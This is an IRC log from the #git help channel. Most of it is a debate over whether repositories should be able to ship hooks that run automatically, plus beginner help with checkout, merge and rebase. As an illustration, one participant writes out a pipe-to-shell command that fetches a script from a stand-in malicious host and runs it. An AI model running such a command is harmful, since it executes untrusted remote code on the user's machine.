	← ni__ left	15:18
	→ jiskiras joined	15:18
Dougie187	osse: :P	15:18
	← jiskiras left	15:18
	← acolson left	15:18
	← mkaesz left	15:18
osse	lpapp: the security risk people are talking about goes the other way. it's each developer's security that can be compromised, not the server's	15:19
	→ a_le joined	15:19
	← mizu_no_oto left	15:20
	→ m0viefreak joined	15:21
	← tristanp left	15:21
	← StolenToast left	15:21
	← iamjarvo left	15:21
	→ Zupoman joined	15:22
	← Marcus___ left	15:22
	→ tristanp joined	15:22
	← Zupoman left	15:22
	→ Zupoman joined	15:22
	→ justinmburrous joined	15:22
	→ kikimeter joined	15:22
	→ burhan__ joined	15:23
	← burhan_ left	15:23
	← vocifer__ left	15:23
	→ xolubi joined	15:24
	→ killtheliterate joined	15:24
	→ StolenToast joined	15:25
	← dragoonis left	15:26
	← aswen left	15:27
	→ mscook joined	15:28
	← cbr_ left	15:30
	← metRo_ left	15:32
	← intellix left	15:32
	← p4trix left	15:32
	← Ansikt_ left	15:32
	→ nekyian_ joined	15:32
	← mscook left	15:33
	→ robertodecurnex joined	15:33
	→ metRo_ joined	15:33
lpapp	osse: so you see the point behind this use case then?	15:33
	osse: I would like to make a client side hook available for each client	15:34
	← nekyian_ left	15:34
lpapp	this cannot be done on server side	15:34
	← mennea left	15:34
	→ mennea joined	15:35
pasky	hmm, given that I have a repo with .git/objects/info/alternates, is there a more elegant way to make it standalone (copy over all objects from alternates) than clone it?	15:35
	← robertodecurnex left	15:35
	→ robertt joined	15:35
	→ intellix joined	15:35
	→ snuffeluffegus joined	15:35
	← ehmatthes left	15:36
	← robertt left	15:36
osse	lpapp: I totally see your point. It's just that with the current implementation/concept of hooks/triggers/whatever that Git has I don't think it's doable. But you can get some of the way.	15:36
	← jas4711 left	15:37
	← seschwar left	15:37
	→ dardevelin joined	15:37
	← DARSCODE left	15:38
	→ marscher joined	15:38
dardevelin	is this channel user oriented only or internal questions for side projects is fine ?	15:38
	side projects that intend to re-use git internal components that is	15:38
	→ sinkensabe joined	15:39
	→ ojacobson joined	15:39
lpapp	osse: perhaps it is time to reconsider the hooks unless they are status by design.	15:39
	← zhangxaochen__ left	15:40
	← wise left	15:40
	→ robertt-dex joined	15:40
lpapp	I can get along with the current system in a limited fashion, so it will not block me, but it is still more work than it could be.	15:40
	← JeanCarloMachado left	15:40
	← ghostlines left	15:40
canton7	are we still on this? lpapp pitch you case to the mailing list, with reference to how you would mitigate the issues identified in previous discussions	15:41
	*your	15:41
	→ zhangxaochen joined	15:42
	robertt-dex → _robertt-dex	15:42
lpapp	canton7: If only I had time. I do not have time for long and detailed mailing list conversations.	15:42
bremner	it would take less time that you chatted on IRC today ;)	15:42
canton7	well you've been making a good case for the last 45 mins on here. we can't change anything, we're (by and large) not devs	15:43
	← intellix left	15:43
canton7	if you'd spent the time talking to the list instead, you might be somewhere by now	15:43
	ChanServ set mode: +o	15:44
	← _robertt-dex left	15:44
	→ robertt-dex joined	15:44
	osse has three commits in git.git!	15:44
canton7	woop! :D	15:44
lpapp	canton7: well, this discussion was worth understanding the situation	15:44
osse	I'm a dev!! But all of them are trivial and one of them should be credited to Saveas	15:44
lpapp	but I do not have time for follow up emails on the mailing list, etc.	15:44
	especially since they will probably be detailed.	15:44
canton7	from experience, often a single email is enough to trigger a discussion	15:45
	Eugene changed the topic to: Welcome to #git, the place for git help and Swedish bluegrass \| Current stable version: 2.1.2 \| Start here: http://jk.gs/git \| Getting "cannot send to channel"? /msg gitinfo .voice \| Hadn't been for merge-eyed Joe, Ida been commited long time ago	15:45
	Eugene set mode: -o	15:45
canton7	that discussion is detailed, but you don't necessarily need to take part	15:45
	→ rh1n0 joined	15:45
	→ punchagan joined	15:45
	← metRo_ left	15:46
lpapp	canton7: some consider it rude not to follow up with people who are trying to help.	15:46
	(me too)	15:46
	so I do not ask for help there instead.	15:46
	← lb1a left	15:46
	→ rath joined	15:47
	← _Vi left	15:47
	→ thiago_ joined	15:47
	→ tmug joined	15:47
	← mennea left	15:47
	← thiago_ left	15:47
	→ thiago_ joined	15:47
	→ hs366 joined	15:47
	← UmbraMalison left	15:48
lpapp	canton7: osse thank you for your time	15:48
canton7	no worries	15:49
	I'll try and dig out the old discussion, out of interest	15:49
	← lacrymology left	15:49
canton7	you're certainly not the first person who's felt that way	15:49
bremner	I _already_ did, I think.	15:49
lpapp	and probably not the last :D	15:49
canton7	ooh cool, got a link?	15:49
	robertt-dex → Guest52242	15:50
bremner	http://git.661346.n2.nabble.com/Is-there-any-way-to-make-hooks-part-of-the-repository-td7518033.html	15:50
canton7	cheers	15:50
	← Guest52242 left	15:50
	→ jontmorehouse joined	15:50
	→ robertt-dex_ joined	15:51
	← robertt-dex_ left	15:51
	→ lsiv568 joined	15:52
	← justinmburrous left	15:52
	← killtheliterate left	15:52
	→ smccarthy joined	15:53
	← xolubi left	15:53
	← kermit left	15:53
	→ xolubi joined	15:53
	→ lsiv568_ joined	15:53
	← lsiv568 left	15:54
lpapp	that thread does not make sense to me, but it might be just me	15:54
	→ polyzen joined	15:54
lpapp	what Junio says anyone can put rm -rf	15:54
	→ mostlybadfly joined	15:54
lpapp	if it is really _anyone_, your access model to the repository is truly screwed?	15:54
	→ killtheliterate joined	15:55
bremner	lpapp: yes, but not everyone lives in a closed world	15:55
lpapp	(which is basically my previous point above)	15:55
	← Warrior-kk left	15:55
canton7	you often clone repos from random people - the operation of cloning, at least, should be safe	15:55
Eugene	Consider the case of a malicious repo being cloned by unwitting users in the public	15:55
lpapp	and my second point applies exactly the same way: how is it different from any other file that can screw up?	15:55
canton7	that point was raised in the thread	15:55
ojacobson	You have to make a second gesture _after_ obtaining the code to run any other file	15:55
bremner	because hooks are run by git.	15:55
Eugene	clone shouldn't auto-execute code, just grab it.	15:55
	That's the point	15:55
lpapp	canton7: yes, I see that my point was raised there, and completely agree with the guy about it.	15:55
	← jontmorehouse left	15:55
ojacobson	Obtaining the code should not execute other peoples' code without giving the receiver a chance to review it, _even if all the intended collaborators are trustworthy_.	15:56
Eugene	It's not my fault if you run `curl http://rootkits.ru/hax \| sh`	15:56
canton7	so the conclusion was that you'd have to run a manual command to install hooks. there are edge-cases (rolling back for example, or updated hooks), and really that command is little different to some makefile/script	15:56
lpapp	canton7: cloning is no harm for pre-commit	15:56
	→ iamjarvo joined	15:56
ojacobson	Security models aren't perfect. People get disgruntled, keylogger'd, subverted; access control checks can have bugs; the underlying storage may be compromised instead ...	15:56
	→ UmbraMalison joined	15:56
	← tristanp left	15:56
canton7	lpapp, I think another assumption is that you cna safely use git after cloning a repo without causing harm to your machine	15:56
	← jjasinski left	15:56
lpapp	ojacobson: that is a weak argument IMHO (sorry)	15:57
canton7	so you can safely clone and then checkout a prev commit, without having to check whether anything malicious will happen	15:57
lpapp	ojacobson: if the access model is screwed, this will not save you	15:57
	← vurma left	15:57
lpapp	the hacker can do other bad things without it, too.	15:57
	I just cannot see any security risk, honestly.	15:57
	→ desposo joined	15:57
lpapp	if you clone a total stranger repository to work with, that is overly strange ...	15:58
canton7	lpapp, also, most repos I clone are from random strangers. yes, they can write a malicious app, and I have to check it's not before I run it. it can also be a documents repo, and I don't expect it to run anything malicious, because there shouldn't be anythng executable in there	15:58
lpapp	and again, not allowing pre-commit will not solve you anyway	15:58
canton7	lpapp, as an open source developer, I do that all the time	15:58
lpapp	their build system might run rm -rf	15:58
canton7	lpapp, and I can check the build system before running it, that's fine	15:58
	if git automatically installs hooks, I don't have a chance to check them	15:58
lpapp	I just honestly do not understand what the people refer to with additional security risk	15:58
	all the security risk is already right there today.	15:58
	← SumDude left	15:58
lpapp	(for untrusted repositories)	15:58
	for trusted repositories, this is of course a no issue, so even easier for those.	15:59
canton7	lpapp, again, I expect bad stuff to happen only if I actually execute something / run something	15:59
ojacobson	Right now, git will never run someone else's code for you unless you explicitly tell it that it's okay to do that.	15:59
canton7	NOT if I just use git to read it	15:59
ojacobson	You are proposing that git may automatically run someone else's code unless you go out of your way to tell it _not_ to	15:59
	that's a huge security shift even for pre-commit	15:59
	← thiago_ left	15:59
lpapp	ojacobson: not sure why you think pre-commit is executed on clone	15:59
ojacobson	It's not	15:59
lpapp	so what is the matter then?	15:59
ojacobson	but git clone ...; git commit ...; will not run someone else's code.	15:59
	You are proposing that it should, without warning.	16:00
canton7	but I might want to make a small commit. I shouldn't have to remember that my 'git commit' command might be compromised	16:00
lpapp	ojacobson: exactly, that is what I would love to see happening!	16:00
	so why cannot we see that?	16:00
ojacobson	lpapp: I can see why you'd want that, and I can see why it'd be convenient	16:00
	unfortunately it'd also be convenient for malicious actors	16:00
	→ Gizburdt joined	16:00
	→ jjasinski joined	16:00
ojacobson	_as a default behaviour_, that's dangerously bad	16:01
	_as a non-default behaviour_, I'm dubious of encouraging people to turn that on	16:01
	→ teran joined	16:01
canton7	I can get behind turning it on on a per-repo basis	16:01
ojacobson	because, as demonstrated, most people are terrible at thinking through whether a command may compromise their system _every time they run it_	16:01
	(I know I don't.)	16:01
lpapp	ojacobson: what happens if you put rm -rf into the buildsystem?	16:01
ojacobson	Turning auto-hooks on per-repo is easy enough: create a template repo that symlinks hooks to ../.githooks	16:01
canton7	lpapp, I've addressed that twice already	16:01
lpapp	how will eliminating pre-commit solve that issue?	16:01
ojacobson	git clone --template ~/.git-templates/with-auto-hooks foo	16:01
lpapp	1) You will need to clone a trusted repository	16:02
canton7	lpapp, I expect the build system to do something nasty. I don't expect git to become compromised	16:02
	→ teran__ joined	16:02
lpapp	2) You will need to check the whole content	16:02
ojacobson	lpapp: there are no trusted repositories	16:02
lpapp	that is my opinion about it	16:02
	you need to do either of those	16:02
canton7	I should be safe as long as I don't go and run anything	16:02
	← bollullera left	16:02
lpapp	eliminiating pre-commit will not do either of those automagically for you	16:02
canton7	^^ that is the KEY point imo	16:02
	→ Quevin joined	16:02
	← zhangxaochen left	16:02
lpapp	ojacobson: surely, our repository not hanging on the internet is trusted	16:02
	← teran_ left	16:02
lpapp	with only internal access, etc	16:02
	← killtheliterate left	16:02
	← mechanicalduck left	16:03
canton7	lpapp, but git can't know that	16:03
lpapp	if that is not trusted, our company will be hacked tomorrow.	16:03
	canton7: it does not need to know	16:03
	why would it need to know?	16:03
canton7	so you're saying because your repo is trusted, every random repo on the internets should be considered trusted? :S	16:03
	→ mechanicalduck joined	16:03
	→ SumDude joined	16:03
lpapp	in the worst case, you can have a "trusted repo" boolean on the server	16:03
	← jenni_naiaretti left	16:03
lpapp	but I do not see the point of it, really	16:03
canton7	so, it's up to the repo to say whether it's trusted	16:03
	hahaha	16:03
	→ hebz0rl joined	16:03
lpapp	I simply do not understand why git would be the security access model when the actual content is out of responsibility	16:04
canton7	lpapp, put it this way	16:04
lpapp	git is not a security access module	16:04
canton7	I should be safe to download a mailicious file from the internet, and open it in a text editor, right?	16:04
	that should be safe?	16:04
	the text editor should execute arbitrary parts of the file for me, unless I tell it to	16:04
	← lsiv568_ left	16:04
	← ngw left	16:04
canton7	*should NOT	16:05
	→ Ariadeno joined	16:05
	→ dreiss joined	16:05
lpapp	I think Junio does not understand security	16:05
canton7	can we agree on that?	16:05
lpapp	but that is just my opinion	16:05
canton7	play along, please	16:05
lpapp	I have worked in security frameworks	16:05
	→ zhangxaochen joined	16:05
canton7	do you agree that a text editor should not execute parts of the file you're opening, without being asked to?	16:05
lpapp	he is a great git maintainer, but IMHO, he is too biased here.	16:06
	← teran left	16:06
canton7	answer the question, damnit	16:06
lpapp	canton7: no, I do not agree.	16:06
canton7	so you're saying if I download malicious-file.pl from the internet, I can't open it in notepad because it might be executed?	16:07
	→ thiago_ joined	16:08
	← sebastian__ left	16:09
canton7	(I did that earlier today - someone tried to shellshock my server, with a command to download and run a perl file. I was curious, and looked at it (it was a free irc bot, interestingly). I should be able to do that)	16:09
lpapp	canton7: no, I am not saying that at all.	16:09
	→ Zifre joined	16:09
lpapp	what I am saying is that if you are curious about the git content because it is not trusted, you need to read the code	16:10
canton7	ok, so we are in agreement? "<lpapp> canton7: no, I do not agree." sounded the opposite	16:10
lpapp	if you trust the git source, there is nothing to be left.	16:10
canton7	lpapp, sure. I hould be able to download a git repo and read it, without being worried that bad stuff will happen to my machine	16:10
lpapp	in neither case will the current design help at all IMHO	16:10
	canton7: no	16:10
	→ Sasazuka joined	16:10
lpapp	canton7: you can read it online, but anyway, pre-commit is not executed during the clone.	16:10
canton7	lpapp, what if there isn't a web UI?	16:11
	→ beastd joined	16:11
	→ killtheliterate joined	16:11
	← emrox left	16:11
lpapp	canton7: generate a tarball containing .git	16:11
canton7	lpapp, what if archive isn't supported (and it rarely is)	16:11
	→ pheaver joined	16:11
	← alorence left	16:11
	→ randallsquared joined	16:11
lpapp	but then again, if you are working with a pristine repository from the stone age, you still cannot say pre-commit is executed on clone.	16:11
canton7	lpapp, no, but the extension to my argument is that using git should be safe. I should be safe using my editor, and I should be safe using git	16:12
	that includes making commits if I want	16:12
	I should have to remember "oh shit, I can't run 'git commit', because it might delete my documents"	16:12
lpapp	no	16:12
canton7	*shouldn't	16:12
lpapp	if you cannot trust the git source, you need to check everything	16:12
	you cannot just mess around with it, really.	16:12
	→ JeanCarloMachado joined	16:13
lpapp	the same goes for the buildsystem	16:13
	you cannot just clone and run "make" because they say that is how their projects build	16:13
	← tokik left	16:13
	→ jheg_ joined	16:13
lpapp	no to mention, I highly doubt you always check the buildsystem before running make when coming across a new project to build	16:13
	← Manny left	16:13
canton7	lpapp, sure, I agree with that. You can't run the stuff you cloned. Just like I shouln't run malicious-file.pl	16:13
lpapp	so it is kind of practice-free	16:13
canton7	but I should be able to do stuff which doesn't involve running it	16:13
lpapp	but even in theory, you need to check the stuff before doing anything.	16:13
	→ Manny joined	16:13
	← GinoMan left	16:14
	← Zifre_ left	16:14
	→ mizu_no_oto joined	16:14
canton7	lpapp, I need to check everything before running any executables / makefiles / whatever I fine in the project	16:14
lpapp	good, so check the git hooks, too	16:14
canton7	but I should be able to use a freaking impartial tool to view it, modify it, etc	16:14
lpapp	why limit everyone else for a highly hypothetical case?	16:14
canton7	because if we allow it, it won't be hypothetical any more ;	16:14
	* ;)	16:14
lpapp	for which you have already got a solution anyway	16:14
	→ roelmonnens joined	16:14
canton7	lpapp, how are you going to tell users "as of git 2.2, git may now execute arbitary code if you clone a repo"	16:15
lpapp	so it is not hypothetical that rm -rf is Makefiles?	16:15
canton7	users never read the freaking warnings	16:15
	→ imachuchu joined	16:15
lpapp	in*	16:15
	→ iliketurtles joined	16:15
canton7	people know that running untrusted scripts can do bad stuff	16:15
	← Gizburdt left	16:15
lpapp	but it will not!	16:15
canton7	people are used to git, the tool, always being safe to use	16:15
lpapp	pre-commit is NOT executed on clone	16:15
	← iamjarvo left	16:15
lpapp	if you want to do anything with, you should always do that	16:15
canton7	lpapp, "as of git 2.2, git may now execute arbitary code if you use git inside a repo"	16:15
	→ jottr_ joined	16:16
	← sdrfnord1 left	16:16
	← nettoweb left	16:16
lpapp	in fact, they may have the build system create the hooks for git	16:16
	you need to check the source code entirely	16:16
	there is no way around to it, if you do not trust something	16:16
	→ Gizburdt joined	16:16
canton7	lpapp, yes, and that comes under "don't execute anything inside the repo if you don't trust it"	16:16
	and yes	16:16
lpapp	you simply cannot spare that.	16:16
	that includes EVERYTHING	16:16
canton7	but I may not want to execute stuff. I might just want to read	16:16
	← mizu_no_oto left	16:16
lpapp	or use the trusted repo	16:16
canton7	like download the shellshock exploit earlier	16:16
	*downloading	16:16
lpapp	I really cannot see how eliminating extremely basic featuares will solve this issue	16:16
	→ maletor joined	16:16
canton7	I wanted to look, not run. And I knew it was untrusted	16:17
lpapp	features* (for me anyway)	16:17
canton7	anyone else: am I making sense? I don't seem to be able to get through, but it all seems to obvious...	16:17
	s/to/so/	16:17
	→ akagr joined	16:17
	← mithenks left	16:18
	← Gizburdt left	16:18
	← King_Hual left	16:18
	→ dragoonis joined	16:18
	← roelmonnens left	16:18
	→ King_Hual joined	16:19
canton7	ok, one last try, then I give up: "a user should be able to run their text editor, file browser, git, svn, and any other tool in an untrusted repo without bad stuff happening. obviously nothing can save them if they run code from that repo, but using any tooling to edit the repo should be safe by default"	16:19
	← psoo left	16:19
	→ stwalcher joined	16:19
	→ fairuz joined	16:19
	← dragoonis left	16:20
	→ Pyrogerg joined	16:20
	← InvidFlower left	16:20
	→ Gizburdt joined	16:20
	← sinkensabe left	16:21
	← Gizburdt left	16:21
	→ GinoMan joined	16:21
	→ mizu_no_oto joined	16:21
	→ in_deep_thought joined	16:21
	← FunkyAss left	16:21
	→ justinmburrous joined	16:22
	← iliketurtles left	16:23
	→ Stoob_ joined	16:23
	→ sandr8 joined	16:23
	→ FunkyAss joined	16:24
	→ netcarver joined	16:24
	→ iamjarvo joined	16:25
	→ deuti joined	16:26
	← GinoMan left	16:27
	→ it0a joined	16:27
lpapp	canton7: and how will you do that if the repo ships a hook for your tool, like text editor?	16:27
	Kitt3n_ → Kitt3n	16:27
canton7	huh?	16:28
lpapp	canton7: you will need to check the repository content bit-by-bit to introspect if you are that paranoid	16:28
canton7	sorry, I don't unerstand the question	16:28
	do text editors have hooks?	16:28
	← Novitsh_ left	16:28
lpapp	sure, they have config files and all that jazz	16:28
canton7	none of the ones I have will automatically execute code because a particular file exists in the cwd	16:28
	← sandr8 left	16:28
lpapp	how can you make sure whether they compromise your system if the repository is untrusted?	16:28
canton7	do you have a text editor in mind?	16:28
	→ petersr joined	16:28
	← liamkeily left	16:29
lpapp	git is inherently incomparable to text editors since as you pointed out they do not have "hooks".	16:29
canton7	lpapp, ok, so you're redacting your point?	16:29
lpapp	but anyway, they can ship config files that mess up the tools badly.	16:29
canton7	none of the ones I know will delete my documents because a particular file exists in the cwd	16:29
	and if one does, I will personally punch the developer	16:29
	because that's dumb and stupid	16:30
	→ vocifer joined	16:30
lpapp	canton7: no, I am standing behind my opinion that it has no secure addition to the already compromised system and hence it is a painful restrictions for trusted repositories and people that actually do check the codebase when using untrusted stuff.	16:30
	→ stevenvalladolid joined	16:30
canton7	lpapp, then we'll have to agree to disagree	16:30
lpapp	make is also a "tool"	16:30
	the Makefile can very badly mess up your system.	16:31
canton7	yeah, but it's one that's designed to execute arbitary code	16:31
	average dumb joe knows that it can do evil	16:31
	→ Cheaterman1 joined	16:31
	← killtheliterate left	16:31
lpapp	so?	16:31
canton7	average dumb joe trusts git	16:31
	→ tristanp joined	16:31
lpapp	why?	16:31
	git is god?	16:31
	:D	16:31
canton7	so average dumb joe is probably going to think twice before running make	16:31
	and currently git is safe, and average dump joe has no reason to expect that git is anything different, or will suddenly become unsafe	16:31
lpapp	an average dumb joe should probably think twice before running git, too, in an untrusted repository.	16:32
canton7	currently they don't have to think twice	16:32
	and that's good	16:32
	→ yaymukund joined	16:32
	→ chrisgeorge joined	16:32
lpapp	except that git makes many silly things	16:32
canton7	what do you mean?	16:33
lpapp	when I ran git pull --rebase I lost my merge, just for one	16:33
	← mizu_no_oto left	16:33
lpapp	I have to think very hard when using git.	16:33
	← hexagoxel left	16:33
lpapp	it can screw the system up in many ways possible	16:33
	→ sinkensabe joined	16:33
lpapp	git reset --hard etc	16:33
	and I could enumerate ...	16:33
	→ robertt_dex joined	16:33
lpapp	git clean -fdx	16:33
canton7	you can screw up your repo	16:33
	nothing will delete your documents	16:33
	→ P4_Denis joined	16:33
lpapp	git is simply not a Unix access control system	16:33
	and it should not pretend to be one.	16:33
	(IMHO)	16:33
	← mikecmpbll left	16:34
lpapp	especially when the drawbacks outweighs "being secure".	16:34
canton7	unfortunately, I think you'll find that's a very, very unpopular opinion	16:34
	→ mizu_no_oto joined	16:34
lpapp	commercial users in a well-trusted environment or people who actually do check the code to make sure are fscked	16:34
canton7	I can't shake it, and I've given up trying	16:34
lpapp	I will check if perforce does a better job at this.	16:35
canton7	lpapp, I would re-iterate the point I've made time after time, but I've run out of energy :P	16:35
lpapp	outweigh*	16:35
canton7	yeah, let me know if it does	16:35
	← a_le left	16:35
	← iamjarvo left	16:35
lpapp	canton7: it is not so unpopular if you read the thread, actually.	16:35
	seems there have been more than just one bringing this up.	16:35
canton7	lpapp, that thread agreed unanimously that automatically executing hooks was bad, and that there should be an explicit step to install them	16:36
lpapp	please only speak on your behalf.	16:36
	→ jonyfive joined	16:36
canton7	likewise	16:36
lpapp	time to consider perforce ;)	16:36
	the last few disappointments were things that just work in there.	16:37
	→ pcypher joined	16:37
lpapp	perhaps, they have more energy and commercial-friendly approach when it comes to design principles.	16:37
	→ jontmorehouse joined	16:37
lpapp	based on the discussion above, git is designed for n00bs that work with ad-hoc untrusted repositories, at least in this regard anyhow.	16:37
canton7	lpapp, hey, you're the one who refused to post on the list ;)	16:37
lpapp	this is unacceptably limiting for reasonable people.	16:37
canton7	please, let me know if you find this functionality in any other vcs	16:38
lpapp	well, it would not be the first ...	16:38
canton7	first..?	16:38
	← P4_Denis left	16:39
	→ imkmf joined	16:39
	← StolenToast left	16:39
lpapp	well, I have had many issues with git that I explained here in the past.	16:39
canton7	at first clance, I can't see that perforce has client-side hooks at all	16:40
lpapp	sometimes I was even called troll... and in the end other vcs systems implemented what I wanted to have. ;-)	16:40
	→ marklite joined	16:40
canton7	ah, the first issue you've had. fair enough	16:40
lpapp	anyhow, it looks like perforce supports it	16:40
	based on a quick-read	16:40
canton7	link, please? I had a quick look too, and couldn't find anything	16:40
	→ StolenToast joined	16:40
	→ nettoweb joined	16:41
canton7	everything I've found says that triggers are server-side only	16:41
	← nettoweb left	16:41
lpapp	I will analyze more and will get back to it when I know the whole story, but either way, git seems to have made a decision to support headless noobs IMHO	16:41
	rather than reasonable guys here.	16:41
	→ maestrojed joined	16:41
lpapp	who use trusted repos or validate the content.	16:41
canton7	no, it's very basic common sense :P	16:41
	→ nettoweb joined	16:42
	→ eletuchy joined	16:42
lpapp	check change-commit (trigger)	16:43
	I need to leave now, unfortunately.	16:43
canton7	that's server-side, no?	16:43
	so no arbitary client-side code execution	16:43
	← evildmp left	16:43
	→ Sonderblade joined	16:43
canton7	it may be that a centralised, rather than distributed, vcs fits your use-case better	16:44
	in which case, p4 is probably the best out there imo	16:44
	← Ariadeno left	16:44
canton7	and I entirely accept that distributed vcss aren't for everyone, and centralised sometimes makes more sense. if you fit in that camp, go for it :)	16:44
	← jottr_ left	16:45
lpapp	it has nothing to do with distributed or centralized	16:45
	that is a completely orthogonal thing	16:45
	→ baweaver joined	16:45
canton7	it does have an impact: distributed requires that pre-commit hooks are executed on the client's machine, whereas centralised can execute them on the server	16:46
	→ Gizburdt joined	16:46
canton7	so centralised can automatically execute pre-commit hooks, whereas distributed can't do this without some form of setup step	16:46
lpapp	still irrelevant because then you have to drop the distributed features	16:46
canton7	not sure what you mean by that	16:46
lpapp	whereas I am suggesting that git could prefer reasonable users rather than headless noobs	16:46
	(whose system will be compromised at many other places anyway)	16:46
canton7	we've been over this, and your opinion of how smart reasonable users is is, imo, flawed	16:47
lpapp	(see build tool)	16:47
canton7	*users are is, imo	16:47
	on that point, it's a clash of opinions that isn't likely to be resolved, so I'm staying away from it	16:47
lpapp	so what I am saying distributed or centralized, this feature is very much needed in both circumstances, especially for commercial customers	16:47
	→ mteasdal joined	16:47
	→ mikecmpbll joined	16:47
lpapp	and I am happy to pay for the tool if it does a better job ^_^	16:47
canton7	lpapp, sure, and maybe that makes centralised a better fit for you	16:47
	because having a centralised tool allows you to do what you need to do, safely	16:48
	← epifanio left	16:48
lpapp	no, not at all. I would not like to lose the advatange of distributed.	16:48
	← bvi left	16:48
canton7	ok, find another distributed vcs which allows abitary hook execution	16:48
lpapp	the whole point is that it is not arbitrary.	16:49
	you have to check it or get a trusted source, or you are screwed.	16:49
	there is no other safe way around to it.	16:49
canton7	yes. agreed.	16:49
	the difference here is "you must check a hook before explicitely installing it" and "you must check all hooks before running any git command"	16:49
lpapp	not fair, no.	16:50
	← x0s_ left	16:50
lpapp	before any git command does not hold true, and even you agreed with that earlier	16:50
	clone can run just fine	16:50
canton7	but there are hooks for lots of things	16:50
	← kikimeter left	16:50
canton7	so you need to check the checkout-related hooks before checking out, and the commit hooks before committing, and the merge hooks before merging, etc	16:50
lpapp	you need to check them after installing anyway	16:51
canton7	and more hook events can be added to git at any time, which you need to remember to check before doing the appropriate action	16:51
	← tvw left	16:51
canton7	clarify what you mean by "installing"? installing the hook?	16:51
	← Gizburdt left	16:51
	← punchagan left	16:51
	← enelar left	16:51
lpapp	no, sorry, let us drop the topic. It is clear that we will not reach agreement here.	16:51
	← shigosei left	16:51
canton7	yeah, I'm happy to do that	16:52
	I've done my best, and you likewise :P	16:52
	having a look a hg, you have to explicitely install hooks there, too	16:52
	← justinmburrous left	16:52
	→ Hardtail joined	16:52
	→ coasterz joined	16:53
canton7	my gut feel is that you will not find any vcs which runs hooks on a client's machine without an explicit install action. but please let me know if you find any - I'd be interested to see what their security discussion is	16:53
Hardtail	Hello there. I am a complete newcomer to using Git. I am actually going through a training module right now. The question says "HEAD~1 is a special commit identifier in git; it stands for the previous commit (not the one we just made, but the one before that). Can you use that identifier to check out the previous commit in this repository?" I enter "git commit HEAD~1" and failed.	16:53
	→ LucasTT joined	16:54
lpapp	I thought about doing our own VCS software :)	16:54
	I believe I could do better than git does for our job.	16:54
	I just need to find the funding for it :p	16:54
	→ iamjarvo joined	16:54
canton7	Hardtail, you can, but the way you're doing it will result in a !detached head	16:54
gitinfo	Hardtail: A detached HEAD(aka "no branch") occurs when your HEAD does not point at a branch. New commits will NOT be added to any branch, and can easily be !lost. This can happen if you a) check out a tag, remote tracking branch, or SHA; or b) if you are in a submodule; or you are in the middle of a c) am or d) rebase that is stuck/conflicted. See !reattach	16:54
ToxicFrog	Hardtail: "git commit" is used to make new commits, not checkout old ones.	16:54
	→ ErKa joined	16:54
canton7	the easiest way for a beginner is to create a branch at the commit you want to check out - git checkout mytempbranch HEAD~1"	16:54
	lpapp, go for it! that's why git was written :P	16:54
lpapp	canton7: yeah, I know, NIH rocks.	16:55
	I do not know why people hate it. IMHO, it is good to avoid lock-in and learn from mistakes in other projects, etc.	16:55
canton7	tell me about it. medical software dev here, everything NIH has to be very carefully verified, so NIG syndrome is very prevelent	16:55
	*NIH	16:55
	→ stamina joined	16:56
	→ punchagan joined	16:56
Hardtail	gitinfo: Thank you for the information, I changed my answer to "git checkout HEAD~1" and it passed the question.	16:56
gitinfo	Hardtail: you're welcome, but please note that I'm a bot. I'm not programmed to care.	16:56
Hardtail	LOL	16:57
canton7	:D	16:57
	← mishunika left	16:57
	canton7 suggested that feature, and is loving it	16:57
Hardtail	That just made my day.	16:57
	Round of applause for canton7, that is hilarious. ToxicFrog thank you, I will not mix them up when I have to check old ones now.	16:57
	← jheg_ left	16:58
	← lpapp left	16:58
	← hyperair left	16:58
	← Quevin left	16:59
	→ pcypher_ joined	17:01
	→ Quevin joined	17:01
	→ a_le joined	17:01
	→ jayeshsolanki joined	17:01
	← shinnya left	17:01
canton7	yay!	17:01
	← refried_ left	17:01
	← jayeshsolanki left	17:01
	→ jayeshsolanki joined	17:02
	← codeman left	17:02
	← angelsl left	17:03
Eugene	!botsnack	17:03
gitinfo	Om nom nom	17:03
	← pcypher left	17:03
	← BSaboia left	17:04
	← iamjarvo left	17:04
	→ pantsman- joined	17:05
	← tristanp left	17:05
	← martinkl_ left	17:05
	→ evildmp joined	17:05
	← Stoob_ left	17:05
	→ Suchit_ joined	17:05
	→ dgpalmer joined	17:06
	→ shinnya joined	17:06
	→ RogerWS_ joined	17:07
	→ vurma joined	17:07
	→ justinmburrous joined	17:09
	→ iliketurtles joined	17:09
	← dsdeiz left	17:10
	← in_deep_thought left	17:10
	← deuti left	17:10
	← burhan__ left	17:11
	← RogerWS left	17:11
	← dccc_ left	17:11
	← stamina left	17:11
	→ jottr_ joined	17:11
	← brammm left	17:11
	← mteasdal left	17:12
	→ ni__ joined	17:13
	→ dangerousdave joined	17:13
	← dort left	17:14
	← teran__ left	17:14
	→ mteasdal joined	17:15
	→ burhan_ joined	17:15
	← jottr_ left	17:16
	← yaymukund left	17:16
	→ digitalice joined	17:16
digitalice	hello	17:16
gitinfo	digitalice: hi! I'd like to automatically welcome you to #git, a place full of helpful gits. Got a question? Just ask it — chances are someone will answer fairly soon. The topic has links with more information about git and this channel. NB. it can't hurt to do a backup (type !backup for help) before trying things out, especially if they involve dangerous keywords such as --hard, clean, --force/-f, rm and so on.	17:16
	→ kermit joined	17:17
digitalice	Im working in a branch called i18n and I would like to get the changes made in master to my branch. How can I download and merge the changes from master into my branch?	17:18
	→ FofG joined	17:18
	→ srcerer joined	17:19
	→ Junior joined	17:19
	→ epifanio joined	17:21
	← mihaicris left	17:23
	← skorgon left	17:23
	→ skorgon joined	17:24
	→ Stoob_ joined	17:24
	← dangerousdave left	17:24
	→ dangerousdave joined	17:25
	← jontmorehouse left	17:26
soerenb	digitalice, in master or origin/master?	17:26
	← bezet left	17:26
	→ jontmorehouse joined	17:26
soerenb	digitalice, most likely: git fetch origin and then either git merge origin/master or git rebase origin/master (while on i18n)	17:26
digitalice	soerenb, changes where made in origin/master I guess (in github master branch).	17:27
	→ jottr_ joined	17:27
	→ JosephFerano joined	17:28
digitalice	soerenb, whats the difference between rebase an merge?	17:28
	→ in_deep_thought joined	17:28
ojacobson	different graph transforms	17:28
soerenb	digitalice, !merge_vs_rebase	17:28
gitinfo	digitalice: [!merge_or_rebase] For a detailed discussion of the dis-/advantages of merge and rebase, and when to best use which, see: https://coderwall.com/p/ny1hia -- and here's how Linus explains which one to use: http://www.mail-archive.com/dri-devel@lists.sourceforge.net/msg39091.html	17:28
	← acharlieh left	17:29
	← ErKa left	17:29
	← User458764 left	17:29
digitalice	soerenb, I used rebase and I got this message:	17:30
	# On branch i18n	17:30
	# Your branch and 'origin/i18n' have diverged,	17:30
